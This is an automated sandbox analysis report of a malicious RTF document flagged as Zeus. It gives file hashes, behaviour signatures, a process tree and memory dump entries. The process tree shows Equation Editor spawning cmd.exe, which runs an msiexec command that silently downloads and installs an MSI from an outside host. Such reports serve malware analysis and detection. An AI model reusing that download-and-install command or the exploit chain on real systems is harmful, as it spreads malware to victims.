Analysis

  • max time kernel
    120s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12-12-2024 06:03

General

  • Target

    e507b370764f67144cc781a69981e965_JaffaCakes118.rtf

  • Size

    261KB

  • MD5

    e507b370764f67144cc781a69981e965

  • SHA1

    b547b4f7c269a8f7d6b8df59b7eb035faaf68236

  • SHA256

    33456b620018dd5f68a6a536804f3da03e87eaf66c356f2b4f8d4d82ddc8866a

  • SHA512

    a15f0b024a8abd5c140d22c711befe5fd3f8f6b92bbcf1ee56c970c4bf004289336b5865fc59a38c6fe0d92d4c08fb0a9205608905dc4fc1e8dbe8f4b2f17f2a

  • SSDEEP

    768:s7Kf2sdrM3xaSybdRZXZWkWZNLeSGfmg3151tVzFkkQAyijfjBw7BVMiy2sFBYSq:sxxQW3yF3Fjy0+VMPate/ePB

Score
10/10

Malware Config

Signatures

  • Zeus
  • Zeus family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 2 IoCs
  • Drops file in Windows directory 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 4 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Launches Equation Editor 1 TTPs 1 IoCs

    Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 34 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e507b370764f67144cc781a69981e965_JaffaCakes118.rtf"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2348
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:1904
    • C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
      "C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
      1⤵
      • System Location Discovery: System Language Discovery
      • Launches Equation Editor
      • Suspicious use of WriteProcessMemory
      PID:2008
      • C:\Windows\SysWOW64\cmd.exe
        cmd.exe & /C CD C: & msiexec.exe /i https://a.doko.moe/ldbbxq.msi /quiet
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2500
        • C:\Windows\SysWOW64\msiexec.exe
          msiexec.exe /i https://a.doko.moe/ldbbxq.msi /quiet
          3⤵
          • Use of msiexec (install) with remote resource
          • System Location Discovery: System Language Discovery
          • Suspicious use of AdjustPrivilegeToken
          PID:1708
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Blocklisted process makes network request
      • Suspicious use of AdjustPrivilegeToken
      PID:2240

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/2348-0-0x000000002F7F1000-0x000000002F7F2000-memory.dmp

      Filesize

      4KB

    • memory/2348-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2348-2-0x00000000716BD000-0x00000000716C8000-memory.dmp

      Filesize

      44KB

    • memory/2348-10-0x00000000716BD000-0x00000000716C8000-memory.dmp

      Filesize

      44KB